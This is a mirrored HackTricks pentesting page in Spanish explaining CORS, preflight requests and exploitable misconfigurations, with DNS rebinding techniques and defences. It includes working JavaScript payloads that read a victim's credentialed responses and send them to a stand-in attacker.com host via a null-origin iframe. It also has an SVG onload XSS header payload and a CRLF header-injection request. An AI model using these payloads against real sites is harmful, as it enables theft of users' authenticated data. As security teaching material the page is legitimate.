Mirrors/hacktricks

Fork 0

mirror of https://github.com/carlospolop/hacktricks synced 2024-11-23 13:13:41 +00:00

Translator 5aff94dee4 Translated ['mobile-pentesting/ios-pentesting/ios-protocol-handlers.md',

2024-02-09 08:10:19 +00:00

31 KiB

Raw Blame History

CORS - Configuraciones incorrectas y Bypass

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Si quieres ver tu empresa anunciada en HackTricks o descargar HackTricks en PDF Consulta los PLANES DE SUSCRIPCIÓN!
Obtén merchandising oficial de PEASS & HackTricks
Descubre La Familia PEASS, nuestra colección exclusiva de NFTs
Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @carlospolopm.
Comparte tus trucos de hacking enviando PRs a los repositorios de HackTricks y HackTricks Cloud.

¿Qué es CORS?

El estándar Cross-Origin Resource Sharing (CORS) permite a los servidores definir quién puede acceder a sus activos y qué métodos de solicitud HTTP están permitidos desde fuentes externas.

Una política de mismo origen exige que un servidor que solicita un recurso y el servidor que aloja el recurso compartan el mismo protocolo (por ejemplo, http://), nombre de dominio (por ejemplo, internal-web.com) y puerto (por ejemplo, 80). Bajo esta política, solo se permite el acceso a los recursos a las páginas web del mismo dominio y puerto.

La aplicación de la política de mismo origen en el contexto de http://normal-website.com/example/example.html se ilustra de la siguiente manera:

URL accedida	¿Acceso permitido?
`http://normal-website.com/example/`	Sí: Esquema, dominio y puerto idénticos
`http://normal-website.com/example2/`	Sí: Esquema, dominio y puerto idénticos
`https://normal-website.com/example/`	No: Esquema y puerto diferentes
`http://en.normal-website.com/example/`	No: Dominio diferente
`http://www.normal-website.com/example/`	No: Dominio diferente
`http://normal-website.com:8080/example/`	No: Puerto diferente*

*Internet Explorer ignora el número de puerto al hacer cumplir la política de mismo origen, permitiendo así este acceso.

Encabezado `Access-Control-Allow-Origin`

Este encabezado puede permitir múltiples orígenes, un valor null, o un comodín *. Sin embargo, ningún navegador admite múltiples orígenes, y el uso del comodín * está sujeto a limitaciones. (El comodín debe usarse solo, y no se permite su uso junto con Access-Control-Allow-Credentials: true).

Este encabezado es emitido por un servidor en respuesta a una solicitud de recurso entre dominios iniciada por un sitio web, con el navegador añadiendo automáticamente un encabezado Origin.

Encabezado `Access-Control-Allow-Credentials`

Por defecto, las solicitudes entre dominios se realizan sin credenciales como cookies o el encabezado de Autorización. Sin embargo, un servidor entre dominios puede permitir la lectura de la respuesta cuando se envían credenciales configurando el encabezado Access-Control-Allow-Credentials a true.

Si se establece en true, el navegador transmitirá credenciales (cookies, encabezados de autorización o certificados de cliente TLS).

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText);
}
}
xhr.open('GET', 'http://example.com/', true);
xhr.withCredentials = true;
xhr.send(null);

fetch(url, {
credentials: 'include'
})

const xhr = new XMLHttpRequest();
xhr.open('POST', 'https://bar.other/resources/post-here/');
xhr.setRequestHeader('X-PINGOTHER', 'pingpong');
xhr.setRequestHeader('Content-Type', 'application/xml');
xhr.onreadystatechange = handler;
xhr.send('<person><name>Arun</name></person>');

Solicitud previa CSRF

Comprendiendo las Solicitudes Previas en la Comunicación entre Dominios

Al iniciar una solicitud entre dominios bajo condiciones específicas, como usar un método HTTP no estándar (cualquier cosa que no sea HEAD, GET, POST), introducir nuevos encabezados, o emplear un valor especial en el encabezado Content-Type, puede ser necesaria una solicitud previa. Esta solicitud preliminar, aprovechando el método OPTIONS, sirve para informar al servidor sobre las intenciones de la próxima solicitud entre orígenes, incluyendo los métodos HTTP y encabezados que pretende utilizar.

El protocolo de Compartición de Recursos de Origen Cruzado (CORS) exige esta verificación previa para determinar la viabilidad de la operación entre orígenes solicitada, verificando los métodos permitidos, los encabezados y la confiabilidad del origen. Para comprender detalladamente qué condiciones evitan la necesidad de una solicitud previa, consulta la guía completa proporcionada por Mozilla Developer Network (MDN).

Es crucial tener en cuenta que la ausencia de una solicitud previa no elimina la necesidad de que la respuesta lleve encabezados de autorización. Sin estos encabezados, el navegador no puede procesar la respuesta de la solicitud entre orígenes.

Considera la siguiente ilustración de una solicitud previa dirigida a utilizar el método PUT junto con un encabezado personalizado llamado Special-Request-Header:

OPTIONS /info HTTP/1.1
Host: example2.com
...
Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization

En respuesta, el servidor podría devolver encabezados que indiquen los métodos aceptados, el origen permitido y otros detalles de la política CORS, como se muestra a continuación:

HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240

Access-Control-Allow-Headers: Este encabezado especifica qué encabezados se pueden utilizar durante la solicitud real. Es establecido por el servidor para indicar los encabezados permitidos en las solicitudes del cliente.
Access-Control-Expose-Headers: A través de este encabezado, el servidor informa al cliente sobre qué encabezados se pueden exponer como parte de la respuesta además de los encabezados de respuesta simples.
Access-Control-Max-Age: Este encabezado indica cuánto tiempo pueden ser almacenados en caché los resultados de una solicitud previa. El servidor establece el tiempo máximo, en segundos, que la información devuelta por una solicitud previa puede ser reutilizada.
Access-Control-Request-Headers: Utilizado en solicitudes previas, este encabezado es establecido por el cliente para informar al servidor sobre qué encabezados HTTP desea utilizar en la solicitud real.
Access-Control-Request-Method: Este encabezado, también utilizado en solicitudes previas, es establecido por el cliente para indicar qué método HTTP se utilizará en la solicitud real.
Origin: Este encabezado es establecido automáticamente por el navegador e indica el origen de la solicitud de origen cruzado. Es utilizado por el servidor para evaluar si la solicitud entrante debe ser permitida o denegada basándose en la política CORS.

Ten en cuenta que generalmente (dependiendo del tipo de contenido y los encabezados establecidos) en una solicitud GET/POST no se envía una solicitud previa (la solicitud se envía directamente), pero si deseas acceder a los encabezados/cuerpo de la respuesta, debe contener un encabezado Access-Control-Allow-Origin que lo permita.
Por lo tanto, CORS no protege contra CSRF (pero puede ser útil).

Solicitud previa de red local

Access-Control-Request-Local-Network: Este encabezado se incluye en la solicitud del cliente para indicar que la consulta está dirigida a un recurso de red local. Sirve como un marcador para informar al servidor que la solicitud proviene desde la red local.
Access-Control-Allow-Local-Network: En respuesta, los servidores utilizan este encabezado para comunicar que el recurso solicitado está permitido para ser compartido con entidades fuera de la red local. Actúa como una luz verde para compartir recursos a través de diferentes límites de red, asegurando un acceso controlado mientras se mantienen los protocolos de seguridad.

Una respuesta válida que permita la solicitud de red local también debe tener en la respuesta el encabezado Access-Controls-Allow-Local_network: true:

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Local-Network: true
Content-Length: 0
...

{% hint style="warning" %} Ten en cuenta que la IP de linux 0.0.0.0 funciona para burlar estos requisitos y acceder a localhost, ya que esta dirección IP no se considera "local".

También es posible burlar los requisitos de la Red Local si se utiliza la dirección IP pública de un punto final local (como la IP pública del enrutador). Porque en varias ocasiones, incluso si se accede a la IP pública, si es desde la red local, se concederá el acceso.

{% endhint %}

Configuraciones incorrectas explotables

Se ha observado que establecer Access-Control-Allow-Credentials en true es un requisito previo para la mayoría de los ataques reales. Esta configuración permite al navegador enviar credenciales y leer la respuesta, mejorando la efectividad del ataque. Sin esto, el beneficio de hacer que un navegador emita una solicitud en lugar de hacerlo uno mismo disminuye, ya que se vuelve inviable aprovechar las cookies de un usuario.

Excepción: Explotar la Ubicación de la Red como Autenticación

Existe una excepción donde la ubicación de la red de la víctima actúa como una forma de autenticación. Esto permite que el navegador de la víctima se utilice como un proxy, eludiendo la autenticación basada en IP para acceder a aplicaciones de intranet. Este método comparte similitudes en impacto con el reenvío de DNS pero es más fácil de explotar.

Reflejo de `Origin` en `Access-Control-Allow-Origin`

El escenario del mundo real donde el valor del encabezado Origin se refleja en Access-Control-Allow-Origin es teóricamente improbable debido a las restricciones para combinar estos encabezados. Sin embargo, los desarrolladores que buscan habilitar CORS para múltiples URL pueden generar dinámicamente el encabezado Access-Control-Allow-Origin copiando el valor del encabezado Origin. Este enfoque puede introducir vulnerabilidades, especialmente cuando un atacante utiliza un dominio con un nombre diseñado para parecer legítimo, engañando así a la lógica de validación.

<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example.com/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='/log?key='+this.responseText;
};
</script>

Explotando el Origen `null`

El origen null, especificado para situaciones como redirecciones o archivos HTML locales, tiene una posición única. Algunas aplicaciones incluyen este origen en listas blancas para facilitar el desarrollo local, permitiendo inadvertidamente que cualquier sitio web imite un origen null a través de un iframe con sandbox, evitando así las restricciones de CORS.

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

Técnicas de Bypass de Expresiones Regulares

Al encontrarse con una lista blanca de dominios, es crucial probar oportunidades de bypass, como agregar el dominio del atacante a un dominio en la lista blanca o explotar vulnerabilidades de apropiación de subdominios. Además, las expresiones regulares utilizadas para la validación de dominios pueden pasar por alto matices en las convenciones de nomenclatura de dominios, presentando más oportunidades de bypass.

Bypasses Avanzados de Expresiones Regulares

Los patrones Regex suelen concentrarse en caracteres alfanuméricos, punto (.), y guion (-), descuidando otras posibilidades. Por ejemplo, un nombre de dominio diseñado para incluir caracteres interpretados de manera diferente por los navegadores y patrones Regex puede evadir controles de seguridad. La forma en que Safari, Chrome y Firefox manejan los caracteres de guion bajo en subdominios ilustra cómo estas discrepancias pueden ser explotadas para eludir la lógica de validación de dominios.

Para obtener más información y configuraciones de esta verificación de bypass: https://www.corben.io/advanced-cors-techniques/ y https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397

Desde XSS dentro de un subdominio

Los desarrolladores a menudo implementan mecanismos defensivos para protegerse contra la explotación de CORS al incluir en la lista blanca dominios que tienen permiso para solicitar información. A pesar de estas precauciones, la seguridad del sistema no es infalible. La presencia de incluso un solo subdominio vulnerable dentro de los dominios en la lista blanca puede abrir la puerta a la explotación de CORS a través de otras vulnerabilidades, como XSS (Cross-Site Scripting).

Para ilustrar, considera el escenario donde un dominio, requester.com, está en la lista blanca para acceder a recursos de otro dominio, provider.com. La configuración del lado del servidor podría verse algo así:

if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
// Access data
} else {
// Unauthorized access
}

En esta configuración, se permite el acceso a todos los subdominios de requester.com. Sin embargo, si un subdominio, por ejemplo sub.requester.com, se ve comprometido con una vulnerabilidad XSS, un atacante puede aprovechar esta debilidad. Por ejemplo, un atacante con acceso a sub.requester.com podría explotar la vulnerabilidad XSS para eludir las políticas de CORS y acceder maliciosamente a recursos en provider.com.

Envenenamiento de caché en el lado del servidor

De esta investigación

Es posible que al explotar el envenenamiento de caché en el lado del servidor a través de la inyección de encabezados HTTP, se pueda inducir una vulnerabilidad almacenada de Cross-Site Scripting (XSS). Este escenario se desarrolla cuando una aplicación no desinfecta el encabezado Origin de caracteres ilegales, creando una vulnerabilidad especialmente para los usuarios de Internet Explorer y Edge. Estos navegadores tratan \r (0x0d) como un terminador legítimo de encabezados HTTP, lo que lleva a vulnerabilidades de inyección de encabezados HTTP.

Considere la siguiente solicitud donde se manipula el encabezado Origin:

GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7

Internet Explorer y Edge interpretan la respuesta como:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7

Mientras que explotar directamente esta vulnerabilidad haciendo que un navegador web envíe un encabezado malformado no es factible, una solicitud creada puede ser generada manualmente utilizando herramientas como Burp Suite. Este método podría llevar a que una caché del lado del servidor guarde la respuesta y la sirva inadvertidamente a otros. La carga creada tiene como objetivo alterar el conjunto de caracteres de la página a UTF-7, una codificación de caracteres a menudo asociada con vulnerabilidades XSS debido a su capacidad para codificar caracteres de una manera que puede ser ejecutada como script en ciertos contextos.

Para más lecturas sobre vulnerabilidades XSS almacenadas, consulta PortSwigger.

Nota: La explotación de vulnerabilidades de inyección de encabezados HTTP, particularmente a través de envenenamiento de caché del lado del servidor, subraya la importancia crítica de validar y sanear toda la entrada proporcionada por el usuario, incluidos los encabezados HTTP. Siempre emplea un modelo de seguridad sólido que incluya validación de entrada para prevenir tales vulnerabilidades.

Envenenamiento de caché del lado del cliente

De esta investigación

En este escenario, se observa una instancia de una página web que refleja el contenido de un encabezado HTTP personalizado sin codificación adecuada. Específicamente, la página web refleja el contenido incluido en un encabezado X-User-id, que podría incluir JavaScript malicioso, como se demuestra en el ejemplo donde el encabezado contiene una etiqueta de imagen SVG diseñada para ejecutar código JavaScript al cargarse.

Las políticas de Compartir Recursos de Origen (CORS) permiten el envío de encabezados personalizados. Sin embargo, sin que la respuesta sea renderizada directamente por el navegador debido a restricciones CORS, la utilidad de tal inyección podría parecer limitada. El punto crítico surge al considerar el comportamiento de la caché del navegador. Si el encabezado Vary: Origin no está especificado, se vuelve posible que la respuesta maliciosa sea almacenada en la caché del navegador. Posteriormente, esta respuesta en caché podría ser renderizada directamente al navegar a la URL, evitando la necesidad de renderización directa en la solicitud inicial. Este mecanismo mejora la fiabilidad del ataque al aprovechar la caché del lado del cliente.

Para ilustrar este ataque, se proporciona un ejemplo de JavaScript, diseñado para ser ejecutado en el entorno de una página web, como a través de un JSFiddle. Este script realiza una acción simple: envía una solicitud a una URL especificada con un encabezado personalizado que contiene el JavaScript malicioso. Tras completar con éxito la solicitud, intenta navegar a la URL objetivo, potencialmente desencadenando la ejecución del script inyectado si la respuesta ha sido almacenada en caché sin un manejo adecuado del encabezado Vary: Origin.

Aquí se presenta un resumen del JavaScript utilizado para ejecutar este ataque:

<script>
function gotcha() { location=url }
var req = new XMLHttpRequest();
url = 'https://example.com/'; // Note: Be cautious of mixed content blocking for HTTP sites
req.onload = gotcha;
req.open('get', url, true);
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>");
req.send();
</script>

Bypass

XSSI (Cross-Site Script Inclusion) / JSONP

XSSI, también conocido como Inclusión de Script de Sitio Cruzado, es un tipo de vulnerabilidad que aprovecha el hecho de que la Política de la Misma Origen (SOP) no se aplica al incluir recursos utilizando la etiqueta de script. Esto se debe a que los scripts deben poder incluirse desde diferentes dominios. Esta vulnerabilidad permite a un atacante acceder y leer cualquier contenido que se haya incluido utilizando la etiqueta de script.

Esta vulnerabilidad se vuelve particularmente significativa cuando se trata de JavaScript dinámico o JSONP (JSON con Relleno), especialmente cuando se utilizan información de autoridad ambiental como cookies para la autenticación. Al solicitar un recurso de un host diferente, las cookies se incluyen, lo que las hace accesibles para el atacante.

Para comprender mejor y mitigar esta vulnerabilidad, puedes utilizar el complemento BurpSuite disponible en https://github.com/kapytein/jsonp. Este complemento puede ayudar a identificar y abordar posibles vulnerabilidades XSSI en tus aplicaciones web.

Lee más sobre los diferentes tipos de XSSI y cómo explotarlos aquí.

Intenta agregar un parámetro de callback en la solicitud. Tal vez la página estaba preparada para enviar los datos como JSONP. En ese caso, la página enviará los datos con Content-Type: application/javascript, lo que eludirá la política CORS.

Bypass Fácil (¿inútil?)

Una forma de eludir la restricción de Access-Control-Allow-Origin es solicitando a una aplicación web que realice una solicitud en tu nombre y envíe la respuesta de vuelta. Sin embargo, en este escenario, las credenciales de la víctima final no se enviarán, ya que la solicitud se realiza a un dominio diferente.

CORS-escape: Esta herramienta proporciona un proxy que reenvía tu solicitud junto con sus encabezados, al mismo tiempo que falsifica el encabezado de Origen para que coincida con el dominio solicitado. Esto elude efectivamente la política CORS. Aquí tienes un ejemplo de uso con XMLHttpRequest:
simple-cors-escape: Esta herramienta ofrece un enfoque alternativo para el enrutamiento de solicitudes. En lugar de pasar tu solicitud tal cual, el servidor realiza su propia solicitud con los parámetros especificados.

Puedes eludir las verificaciones CORS como e.origin === window.origin al crear un iframe y desde él abrir una nueva ventana. Más información en la siguiente página:

{% content-ref url="xss-cross-site-scripting/iframes-in-xss-and-csp.md" %} iframes-in-xss-and-csp.md {% endcontent-ref %}

Rebinding de DNS a través de TTL

El rebinding de DNS a través de TTL es una técnica utilizada para eludir ciertas medidas de seguridad manipulando los registros DNS. Así es como funciona:

El atacante crea una página web y hace que la víctima la acceda.
Luego, el atacante cambia el DNS (IP) de su propio dominio para que apunte a la página web de la víctima.
El navegador de la víctima almacena en caché la respuesta DNS, que puede tener un valor de TTL (Tiempo de Vida) que indica cuánto tiempo debe considerarse válido el registro DNS.
Cuando el TTL expira, el navegador de la víctima realiza una nueva solicitud DNS, lo que permite al atacante ejecutar código JavaScript en la página de la víctima.
Al mantener el control sobre la IP de la víctima, el atacante puede recopilar información de la víctima sin enviar cookies al servidor de la víctima.

Es importante tener en cuenta que los navegadores tienen mecanismos de almacenamiento en caché que pueden evitar el abuso inmediato de esta técnica, incluso con valores de TTL bajos.

El rebinding de DNS puede ser útil para eludir comprobaciones explícitas de IP realizadas por la víctima o para escenarios en los que un usuario o bot permanece en la misma página durante un período prolongado, lo que permite que caduque la caché.

Si necesitas una forma rápida de abusar del rebinding de DNS, puedes utilizar servicios como https://lock.cmpxchg8b.com/rebinder.html.

Para ejecutar tu propio servidor de rebinding de DNS, puedes utilizar herramientas como DNSrebinder (https://github.com/mogwailabs/DNSrebinder). Esto implica exponer tu puerto local 53/udp, crear un registro A que apunte a él (por ejemplo, ns.example.com) y crear un registro NS que apunte al subdominio A creado anteriormente (por ejemplo, ns.example.com). Cualquier subdominio del subdominio ns.example.com se resolverá entonces en tu host.

También puedes explorar un servidor en funcionamiento públicamente en http://rebind.it/singularity.html para comprender y experimentar más.

Rebinding de DNS a través de Sobrecarga de Caché DNS

El rebinding de DNS a través de la sobrecarga de caché DNS es otra técnica utilizada para eludir el mecanismo de almacenamiento en caché de los navegadores y forzar una segunda solicitud DNS. Así es como funciona:

Inicialmente, cuando la víctima realiza una solicitud DNS, recibe como respuesta la dirección IP del atacante.
Para eludir la defensa de almacenamiento en caché, el atacante aprovecha un trabajador de servicio. El trabajador de servicio sobrecarga la caché DNS, lo que efectivamente elimina el nombre de servidor en caché del atacante.
Cuando el navegador de la víctima realiza una segunda solicitud DNS, ahora recibe como respuesta la dirección IP 127.0.0.1, que normalmente se refiere a localhost.

Al sobrecargar la caché DNS con el trabajador de servicio, el atacante puede manipular el proceso de resolución DNS y forzar al navegador de la víctima a realizar una segunda solicitud, que esta vez se resuelve con la dirección IP deseada por el atacante.

Rebinding de DNS a través de Caché

Otra forma de eludir la defensa de almacenamiento en caché es utilizando múltiples direcciones IP para el mismo subdominio en el proveedor DNS. Así es como funciona:

El atacante configura dos registros A (o un solo registro A con dos IPs) para el mismo subdominio en el proveedor DNS.
Cuando un navegador verifica estos registros, recibe ambas direcciones IP.
Si el navegador decide usar primero la dirección IP del atacante, este puede servir un payload que realice solicitudes HTTP al mismo dominio.
Sin embargo, una vez que el atacante obtiene la dirección IP de la víctima, deja de responder al navegador de la víctima.
El navegador de la víctima, al darse cuenta de que el dominio no responde, pasa a utilizar la segunda dirección IP proporcionada.
Al acceder a la segunda dirección IP, el navegador elude la Política de la Misma Origen (SOP), lo que permite al atacante abusar de esto y recopilar y extraer información.

Esta técnica aprovecha el comportamiento de los navegadores cuando se proporcionan múltiples direcciones IP para un dominio. Al controlar estratégicamente las respuestas y manipular la elección de la dirección IP del navegador, un atacante puede explotar la SOP y acceder a la información de la víctima.

{% hint style="warning" %} Ten en cuenta que para acceder a localhost debes intentar reasignar 127.0.0.1 en Windows y 0.0.0.0 en Linux.
Proveedores como godaddy o cloudflare no me permitieron usar la IP 0.0.0.0, pero AWS route53 me permitió crear un registro A con 2 IPs siendo una de ellas "0.0.0.0"

{% endhint %}

Para obtener más información, puedes consultar https://unit42.paloaltonetworks.com/dns-rebinding/

Otros Bypass Comunes

Si no se permiten IPs internas, es posible que olvidaran prohibir 0.0.0.0 (funciona en Linux y Mac)
Si no se permiten IPs internas, responde con un CNAME a localhost (funciona en Linux y Mac)
Si no se permiten IPs internas como respuestas DNS, puedes responder CNAMEs a servicios internos como www.corporate.internal.

Armas de Rebinding de DNS

Puedes encontrar más información sobre las técnicas de bypass anteriores y cómo utilizar la siguiente herramienta en la charla Gerald Doussot - Estado de los Ataques de Rebinding de DNS y Singularidad de Origen - Conferencia DEF CON 27.

Singularidad de Origen es una herramienta para realizar ataques de rebinding de DNS. Incluye los componentes necesarios para reasignar la dirección IP del nombre DNS del servidor de ataque a la dirección IP de la máquina objetivo y para servir payloads de ataque para explotar software vulnerable en la máquina objetivo.

Protección Real contra el Rebinding de DNS

Utiliza TLS en servicios internos
Solicita autenticación para acceder a los datos
Valida el encabezado Host
https://wicg.github.io/private-network-access/: Propuesta para enviar siempre una solicitud previa cuando los servidores públicos quieran acceder a servidores internos

Herramientas

Prueba posibles configuraciones incorrectas en las políticas CORS

31 KiB Raw Blame History